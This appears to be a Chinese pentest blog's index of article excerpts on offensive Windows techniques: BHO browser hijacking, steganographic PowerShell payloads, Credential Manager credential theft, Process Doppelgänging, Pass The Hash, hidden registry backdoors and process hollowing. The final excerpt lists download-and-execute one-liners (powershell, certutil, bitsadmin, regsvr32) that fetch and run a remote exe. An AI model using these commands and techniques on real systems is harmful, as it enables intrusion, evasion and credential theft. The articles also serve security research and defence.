-
利用BHO实现IE浏览器劫持
0x00 前言 本文源于一个隐蔽连接的测试,模拟IE浏览器发起网络连接,能绕过某些防护产品拦截发起网络连接的第三方程序 模拟IE浏览器发起网络连接的方法有很多种,其中,利用BHO劫持IE浏览器存在诸多优点(开放接口、简单高效、功能丰富等),所以本文将要介绍BHO的开发和劫持利用思路 0x01 简介 本文将要介绍以下内容: BHO简介 开发BHO 利用思路 实际测试 防御 0x02 BHO简介 BHO,全称Browser Helper Object(浏览器辅助对象) 微软推出的作为浏览器对第三方程序员开放交互接口的业界标准 BHO的作用: 获取浏览器行为,如“后退”、“前进”、“当前页面”等 控制浏览器行为,如修改替换浏览器工具栏,添加自己的程序按钮等 BHO依托于浏览器主窗口, 与浏览器实例生命周期一致,即浏览器页面打开时BHO对象运行,页面关闭时随之结束 使用BHO时需要注册,相当于写入注册表,位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper\ Objects\{GUID}和HKEY_CLASSES_ROOT\CLSID\{GUID} 0x03 开发BHO 本节仅作简要介绍 开发工具: VS2012 1、生成dll 新建-Visual C++-ATL 添加-类-ATL-ATL简单对象,设定简称为HelloWorldBHO,选中IObjectWithSite(IE对象支持) 修改以下文件: HelloWorldBHO.h HelloWorldBHO.cpp dllmain.cpp HelloWorld.rgs 注: 详情可参考http://blog.csdn.net/feier7501/article/details/11266345 helloworld.rgs内保存BHO的GUID,如下图 HelloWorldBHO.rgs内保存BHO的名称,如下图 helloworld.rc内的CompanyName代表发行者,PRODUCTVERSION代表版本,如下图 注: 以上三个图对应下文加载项的显示信息 HelloWorldBHO.cpp保存IE浏览器中不同事件对应的操作,这里仅介绍一段实例代码(详细代码参照开源工程),实现当页面加载完成时,弹框显示当前URL,关键代码如下: void STDMETHODCALLTYPE...
-
Invoke-PSImage利用分析
0x00 前言 最近在github看见一个有趣的项目:Invoke-PSImage,在png文件的像素内插入powershell代码作为payload(不影响原图片的正常浏览),在命令行下仅通过一行powershell代码就能够执行像素内隐藏的payload 这是一种隐写(Steganography)技术的应用,我在之前的文章对png的隐写技术做了一些介绍,可供参考: 《隐写技巧——PNG文件中的LSB隐写》 《隐写技巧——利用PNG文件格式隐藏Payload》 本文将结合自己的一些心得对Invoke-PSImage进行分析,介绍原理,解决测试中遇到的问题,学习脚本中的编程技巧,提出自己的优化思路 Invoke-PSImage地址: https://github.com/peewpw/Invoke-PSImage 0x01 简介 本文将要介绍以下内容: 脚本分析 隐写原理 实际测试 编程技巧 优化思路 0x02 脚本分析 1、参考说明文件 https://github.com/peewpw/Invoke-PSImage/blob/master/README.md (1) 选取每个像素的两个颜色中的4位用于保存payload (2) 图像质量将受到影响 (3) 输出格式为png 2、参考源代码对上述说明进行分析 (1) 像素使用的为RGB模式,分别选取颜色分量中的G和B的低4位(共8位)保存payload (2) 由于同时替换了G和B的低4位,故图片质量会受影响 补充: LSB隐写是替换RGB三个分量的最低1位,人眼不会注意到前后变化,每个像素可以存储3位的信息 猜测Invoke-PSImage选择每个像素存储8位是为了方便实现(8位=1字节),所以选择牺牲了图片质量 (3) 输出格式为png,需要无损 png图片为无损压缩(bmp图片也是无损压缩),jpg图片为有损压缩。所以在实际测试过程,输入jpg图片,输出png图片,会发现png图片远远大于jpg图片的大小 (4) 需要注意payload长度,每个像素保存一个字节,像素个数需要大于payload的长度 0x03 隐写原理 参照源代码进行举例说明(跳过读取原图片的部分) 1、修改像素的RGB值,替换为payload 代码起始位置: https://github.com/peewpw/Invoke-PSImage/blob/master/Invoke-PSImage.ps1#L110 对for循环做一个简单的修改,假定需要读取0x73,将其写入第一个像素RGB(0x67,0x66,0x65) (1) 读取payload 代码:...
-
渗透技巧——Windows中Credential Manager的信息获取
0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。 对于Windows系统,Credential Manager中包含十分重要的信息。 这其中具体包含什么类型的信息,获取的方法有哪些呢?本文将要一一介绍 0x01 简介 本文将要介绍以下内容: Credential Manager中不同类型的凭据 不同凭据的明文口令获取方法 实际测试 0x02 Credential Manager简介 Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码) 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录 凭据保存在特定的位置,被称作为保管库(vault)(位于%localappdata%/Microsoft\Vault) 凭据类别: 包含两种,分别为Domain Credentials和Generic Credentials Domain Credentials: 只有本地Local Security Authority (LSA)能够对其读写 也就是说,普通权限无法读取Domain Credentials类型的明文口令 Generic Credentials: 能够被用户进程读写 也就是说,普通权限可以读取Generic Credentials类型的明文口令 参考资料: https://msdn.microsoft.com/en-us/library/aa380517.aspx 0x03 实际测试 测试1: 测试系统: Win7 访问文件共享\\192.168.62.130 如下图 填入正确的用户名密码,选中记住我的凭据 下次再访问时,就不需要再次输入用户名密码 通过控制面板能够找到添加的凭据,位置为控制面板-用户帐户和家庭安全-凭据管理器 如下图...
-
Process Doppelganging利用介绍
0x00 前言 在最近的BlackHat Europe 2017,Tal Liberman和Eugene Kogan介绍了一种新的代码注入技术——Process Doppelgänging 据说这种利用方式支持所有Windows系统,能够绕过绝大多数安全产品的检测 于是,本文将要根据开源代码,编写程序,实现Process Doppelgänging,测试功能,分析利用思路 参考地址: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf 0x01 简介 本文将要介绍以下内容: 原理 开源代码 修复方法 实际测试 利用思路 防御检测 0x02 Process Doppelgänging原理 原理上类似于Process Hollowing,但是更加高级: 不需要使用傀儡进程 不需要特殊的内存操作,例如SuspendProcess和NtUnmapViewOfSection 注: 关于Process Hollowing的介绍,可参考之前的文章《傀儡进程的实现与检测》 实现思路: 1.打开一个正常文件,创建transaction 关于NTFS transaction,可参考: http://www.ntfs.com/transaction.htm 2.在这个transaction内填入payload,payload作为进程被启动 目前为止,杀毒软件无法对填入的payload进行扫描 3.回滚transaction 相当于还原transaction,清理痕迹 对应程序实现过程: 1.创建transaction 关键函数: NtCreateTransaction 2.在这个transaction内填入payload 关键函数: CreateFileTransacted NtCreateSection 3.payload作为进程被启动...
-
域渗透——Pass The Hash的实现
0x00 前言 在之前的文章《域渗透——Pass The Hash & Pass The Key》曾介绍过kb2871997对Pass The Hash的影响。本文将站在另一个角度,介绍Pass The Hash的相关实现 0x01 简介 本文将要介绍以下内容: Pass The Hash的原理 常用工具 mimikatz中的Pass The Hash mimikatz中的Pass The Ticket 0x02 Pass The Hash的原理 可参考Wikipedia的介绍,地址如下: https://en.wikipedia.org/wiki/Pass_the_hash 提取出关键信息: 在Windows系统中,通常会使用NTLM身份认证 NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程) 注: mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash Windows Server...
-
TeamViewer 13.0.5058中的权限漏洞测试
0x00 前言 12月5日,TeamViewer发布新版本13.0.5640,修复了之前版本13.0.5058中的一个bug。 随后,gellin在github上传了该漏洞的POC,安全信息网站ThreatPost对这个情况作了报道。 但一眼看上去,该漏洞的描述和POC较难理解,于是,本文对其做了进一步测试,验证POC,得出结论 POC: https://github.com/gellin/TeamViewer_Permissions_Hook_V1 ThreatPost报道: https://threatpost.com/teamviewer-rushes-fix-for-permissions-bug/129096/ 0x01 简介 本文将要介绍以下内容: POC测试 原理简要分析 利用思路 防御 0x02 POC测试 1、编译生成dll POC通过c++开发,在使用VS2012对其编译时会出现如下bug: error C2784: “std::_String_iterator std::operator +(_String_iterator::difference_type,std::_String_iterator)”:未能从“std::string”为“std::_String_iterator”推导 模板 参数 bug出现的位置: https://github.com/gellin/TeamViewer_Permissions_Hook_V1/blob/master/TeamViewerHook_13_0_3711_88039/main.cpp#L25 Bug出现的原因是作者使用更高版本的Visual Studio编写,况且这段代码的功能是输出,所以可以忽略,修改后的代码如下: console = new Console(std::string(BANNER), std::string("TeamViewer Permissions Hook v1")); 编译成功,生成TeamViewerHook_13_0_3711_88039.dll 2、测试环境搭建 主机1(Server): 操作系统:Win8 x86 安装TeamViewer 13.0.5058 作为被控制端,ID为543 847 147,密码为49s4eb 主机2(Client):...
-
渗透技巧——"隐藏"注册表的更多测试
0x00 前言 在上篇文章《渗透技巧——”隐藏”注册表的创建》介绍了Poweliks使用过的注册表隐藏技术,分析原理,编写c程序实现功能 本文将做进一步测试,分享一种更为”隐蔽”的方法(该方法暂未找到公开资料,待定) 0x01 简介 本文将要介绍以下内容: 使用Win32 API读取时的错误 “\0”放在字符串中间的情况 其他Native API(如NtCreateFile)的应用 更加隐蔽的利用方法 防御检测 0x02 隐藏原理 对于Windows系统,”\0”(即0x0000)会被识别为字符串的结束符 所以在对该字符串读取的过程中,遇到开头的”\0”,会被解析成结束符,提前截断,导致读取错误 而使用Native API设定注册表,需要使用结构体OBJECT_ATTRIBUTES作为参数, 指定读取的字符串长度 只要长度设定正常,就能够读取正确的字符串,避免这个bug 利用的关键: 使用Native API多了一个参数,能够指定读取字符串的长度 那么,对该问题展开进一步思考,就有了如下测试 0x03 使用Win32 API读取时,具体是什么样的错误? 使用HiddenNtRegistry创建测试注册表键值,c++调用代码如下: printf("=================Normal Key=================\n"); printf("1.CreateKey:\n"); MyCreateKey("\\Registry\\Machine\\Software\\test1"); printf("2.OpenKey:\n"); hKey = MyOpenKey("\\Registry\\Machine\\Software\\test1"); printf("3.SetValueKey:\n"); MySetValueKey(hKey,"test1","0123456789abcdef",REG_SZ); printf("=================Hidden Key=================\n"); printf("1.OpenKey:\n"); hKey = MyOpenKey("\\Registry\\Machine\\Software\\test1"); printf("2.SetHiddenValueKey:\n"); MySetHiddenValueKey(hKey,"\0test1","hidden0123456789abcdef",REG_SZ); printf("3.QueryHiddenValueKey:\n"); MyQueryHiddenValueKeyString(hKey,"\0test1");...
-
渗透技巧——"隐藏"注册表的创建
0x00 前言 知名恶意软件Poweliks曾使用过的一个后门技术,在注册表启动位置创建一个特殊的注册表键值,通过mshta来执行payload 对于这个特殊的注册表键值,在正常情况下无法对其访问,这其中的原理是什么呢?如何读取、创建以及如何删除呢?本文将要一一介绍 0x01 简介 本文将要介绍以下内容: 隐藏注册表的原理 隐藏注册表的实现 程序编写上需要注意的问题 0x02 原理 注册表键值名称经过特殊构造: 以”\0”作为开头,后面加上任意字符(不能为数字) 对于Windows系统,”\0”(即0x0000)会被识别为字符串的结束符,所以在对该字符串读取的过程中,遇到开头的”\0”,会被解析成结束符,提前截断,导致读取错误 而使用Native API设定注册表,需要使用结构体OBJECT_ATTRIBUTES作为参数, 指定读取的字符串长度 只要长度设定正常,就能够读取正确的字符串,避免这个bug 所以,我们可以通过Native API来创建这个特殊的注册表名 更为重要的是,像regedit.exe和其他对注册表的操作,通常会调用Win32 API,这就导致该注册表无法被读取,也就实现了所谓的”隐藏” 综上,创建方法为: 通过Native API创建一个以”\0”开头的键值 0x03 编写程序实现 通过Native API实现对注册表的操作,可供参考的工程地址: https://www.codeproject.com/Articles/14508/Registry-Manipulation-Using-NT-Native-APIs 作者Dan Madden,他的代码使用了类的封装 个人倾向于使用最基本的api实现,于是参考他的代码,重新设计 对于Native API,需要的结构如下: 1.获取Native API的地址 注册表操作的相关Native API可从ntdll.dll中获得 关键代码如下: HINSTANCE hinstStub = GetModuleHandle(_T("ntdll.dll")); NtOpenKey = (LPNTOPENKEY)GetProcAddress(hinstStub, "NtOpenKey"); 2.Native...
-
傀儡进程的实现与检测
0x00 前言 最近在安全动态推送中看到了一篇文章《RunPE: How to hide code behind a legit process》,介绍了将恶意代码注于已知进程的方法 文章发布于2015年6月,虽然作者未公布完整的实现代码,但介绍了实现思路 本文将结合自己的心得做进一步介绍,测试开源实现代码,介绍防御方法 文章地址: https://www.adlice.com/runpe-hide-code-behind-legit-process/ 0x01 简介 本文将要介绍以下内容: 实现原理 开源代码测试 优化思路 防御检测 0x02 实现原理 这个利用方法至少在2005以前就存在,国内常常把该方法称为”傀儡进程的创建” 实现思路: 通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起 通过NtUnmapViewOfSection清空新进程的内存数据 通过VirtualAllocEx申请新的内存 通过WriteProcessMemory向内存写入payload 通过SetThreadContext设置入口点 通过ResumeThread唤醒进程,执行payload 在具体实现上,还需要考虑以下问题: 1、傀儡进程的选择 如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等) 所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换 2、清空新进程的内存数据 进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像 函数NtUnmapViewOfSection需要从ntdll.dll获得,调用代码如下: FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; DWORD dwResult...
-
渗透技巧——从github下载文件的多种方法
0x00 前言 本文源于一个有趣的问题: 已知exe文件:https://github.com/3gstudent/test/raw/master/putty.exe Windows环境,需要将该exe释放到指定目录并执行,例如c:\download 问:通过cmd实现的最短代码是多少字符? 0x01 简介 本文将要介绍以下内容: 通过cmd实现从github下载文件的方法汇总 选出最短代码的实现方法 0x02 分析 在之前的文章《渗透技巧——通过cmd上传文件的N种方法》对通过命令行下载文件的方法做了汇总 而github支持https协议,并不支持http协议,所以在利用上需要注意一些问题,有些方法不支持http协议 0x03 可用方法汇总 1、powershell powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe' 2、certutil certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe&&c:\download\a.exe 3、bitsadmin bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe && c:\download\a.exe 注: 使用bitsadmin的下载速度较慢 4、regsvr32 regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll 原理: regsve32->JScript->powershell->download&exec JScript调用powershell实现下载执行的代码为: new ActiveXObject("WScript.Shell").Run("powershell...